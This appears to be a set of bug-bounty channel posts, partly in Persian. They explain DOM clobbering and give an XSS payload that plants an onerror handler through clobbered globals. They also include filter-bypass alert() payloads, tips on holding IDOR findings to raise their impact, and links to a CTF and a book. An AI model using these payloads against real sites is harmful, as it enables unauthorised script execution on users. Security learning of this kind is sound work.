This is how DOM clobbering works.

When you create an element with an id, the browser automatically creates a global variable for that ID:

<a id="foo"></a>

Now

window.foo

points to that single element.

But when you create multiple elements with the same id:

<a id="foo"></a>
<a id="foo"></a>

Now

window.foo

becomes an HTMLCollection, not a single element.

Add a name attribute:

<a id="foo" name="bar" href="..."></a>

And

window.foo.bar

now points to that element (works in Chromium/WebKit browsers, but not Firefox).

Now combine that with a common JS pattern like:

var someObject = window.someObject || {};

This is meant to provide a fallback if the global doesn't exist. However, if

window.someObject

has been clobbered by injected HTML, the fallback silently trusts a DOM object instead of a real JS object.

Now imagine this JS logic:

let imgSrc = someObject.avatar;

If an attacker clobbered

someObject.avatar

with:

<a id=someObject></a>
<a id=someObject name=avatar href='cid:"onerror=alert(1)//'></a>

If HTML is set via innerHTML or similar, then this could render as:

<img src="cid:" onerror="alert(1)//"">

let's do some mass hunt

C2H5OH + hunt = success

https://nostarch.com/zero-day
این کتابو هرجور نشده تهیه کنید و بخونید
من نمیتونم اینجا چیزی بذارم یا بگم.
ولی دنبالش باشید

https://capturetheflag.withgoogle.com

ctf google

این 8 تا پولامو بدن من دیگه غنی میشم

گایز طبق تجربه کوچیکم یه چیزی میگم:
بعضی وقتا یه باگ پیدا میکنین مثلا unpredictable idor
و سریع میرین گزارش میدین اشتباهه

اگر باگ رو به سختی پیدا کردین صبر‌کنین و برین راهی برای predictable کردنش پیدا کنین

من واسه 2 باگ، چند ماه صبر کردم و نتیجه شو گرفتم

الانم دقیقا ۲ تا دارم که برم گزارش بدم مدیوم میشن
ولی گذاشتم یه گوشه هر بار میرم یه سیخی میزنم شاید تونستم impact رو بیشتر کنم

یه تایمی براش تعیین کردم، بعدش نشد سریع گزارش میدم

alert XSS PoC with limits

1) without spaces and quotes

parent[/al/.source+/ert/.source](1)

2) without spaces, quotes, + sign

parent[/al/.source.concat(/ert/.source)](2)